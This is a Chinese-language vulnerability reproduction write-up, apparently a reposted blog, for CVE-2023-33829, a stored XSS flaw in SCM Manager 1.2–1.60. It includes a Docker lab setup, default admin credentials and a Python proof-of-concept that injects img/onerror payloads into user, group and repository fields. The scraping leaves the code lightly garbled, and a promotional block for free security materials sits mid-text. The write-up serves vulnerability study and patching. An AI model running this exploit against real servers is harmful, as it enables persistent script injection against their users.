一、漏洞描述
漏洞簡述
SCM-Manager 是一款開源的版本庫管理軟體,同時支持 subversion、mercurial、git 的版本庫管理,安裝簡單,功能較強,提供用戶、用戶組的權限管理 ,有豐富的插件支持,由于在MIT的許可下是開源的,因此它允許被用于商業用途,而且其代碼可以在GitHub上獲取到,該專案最初只是被用于研究目的,而在其2.0版本之后,被Cloudogu公司接手管理和開發了其各種代碼庫,以便為各個公司提供專業的企業級支持,
該漏洞主要為攻擊者利用其多個功能的描述欄位的代碼缺陷,構造payload進行XSS攻擊,
漏洞影響范圍
供應商:Cloudogu
產品:SCM Manager
確認受影響版本:SCM Manager 1.2 <= 1.60
修復版本:>1.60 最新版本為2.43.1
二、漏洞復現實戰
環境搭建
docker鏡像:
https://bitbucket.org/sdorra/docker-scm-manager/src/master/
利用shell腳本搭建
shell:
#!/bin/bash
?
mkdir /var/lib/scm
chown 1000:1000 /var/lib/scm
docker run -v /var/lib/scm:/var/lib/scm -p 8080:8080 sdorra/scm-manager
漏洞復現
首先訪問SCM Manager,需身份認證
Username : scmadmin Password: scmadmin

repositories
repository功能下Description欄位該漏洞可利用
創建新repository,并payload進行利用
Git型別:

Subversion型別:

Users
User功能下Display Name欄位該漏洞可利用
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
創建新repository,并payload進行利用


可以看到新創建的賬號中Display Name屬性下顯示例外,且XSS payload利用成功
Groups
Group功能下Description欄位該漏洞可利用

另外可以根據POC進行利用
POC:
import requests
import argparse
import sys
?
# Main menu
parser = argparse.ArgumentParser(description='CVE-2023-33829 exploit')
parser.add_argument("-u", "--user", help="Admin user or user with write permissions")
parser.add_argument("-p", "--password", help="password of the user")
args = parser.parse_args()
?
?
# Credentials
user = sys.argv[2]
password = sys.argv[4]
?
?
# Global Variables
main_url = "http://localhost:8080/scm" # Change URL if its necessary
auth_url = main_url + "/api/rest/authentication/login.json"
users = main_url + "/api/rest/users.json"
groups = main_url + "/api/rest/groups.json"
repos = main_url + "/api/rest/repositories.json"
?
# Create a session
session = requests.Session()
?
# Credentials to send
post_data=https://www.cnblogs.com/hetianlab/archive/2023/06/06/{
'username': user, # change if you have any other user with write permissions
'password': password # change if you have any other user with write permissions
}
?
r = session.post(auth_url, data=https://www.cnblogs.com/hetianlab/archive/2023/06/06/post_data)
?
if r.status_code == 200:
print("[+] Authentication successfully")
else:
print("[-] Failed to authenticate")
sys.exit(1)
?
new_user={
?
"name": "newUser",
"displayName": "<img src=https://www.cnblogs.com/hetianlab/archive/2023/06/06/x one rror=alert('XSS')>",
"mail": "",
"password": "",
"admin": False,
"active": True,
"type": "xml"
?
}
?
create_user = session.post(users, json=new_user)
print("[+] User with XSS Payload created")
?
new_group={
?
"name": "newGroup",
"description": "<img src=https://www.cnblogs.com/hetianlab/archive/2023/06/06/x one rror=alert('XSS')>",
"type": "xml"
?
}
?
create_group = session.post(groups, json=new_group)
print("[+] Group with XSS Payload created")
?
new_repo={
?
"name": "newRepo",
"type": "svn",
"contact": "",
"description": "<img src=https://www.cnblogs.com/hetianlab/archive/2023/06/06/x one rror=alert('XSS')>",
"public": False
?
}
?
create_repo = session.post(repos, json=new_repo)
print("[+] Repository with XSS Payload created")
漏洞修復
建議更新至SCM Manager最新版本,目前為2.43.1
結束語
本文主要介紹了CVE-2023-33829 SCM Manager XSS漏洞復現程序,漏洞主要體現于攻擊者利用其多個功能的描述欄位的代碼缺陷,構造payload進行XSS攻擊,
本漏洞可參考之處為敏感功能避免重復呼叫非敏感功能代碼,并做好過濾與校驗,進行必要的安全測驗,
更多網安技能的在線實操練習,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/554465.html
標籤:其他
下一篇:返回列表
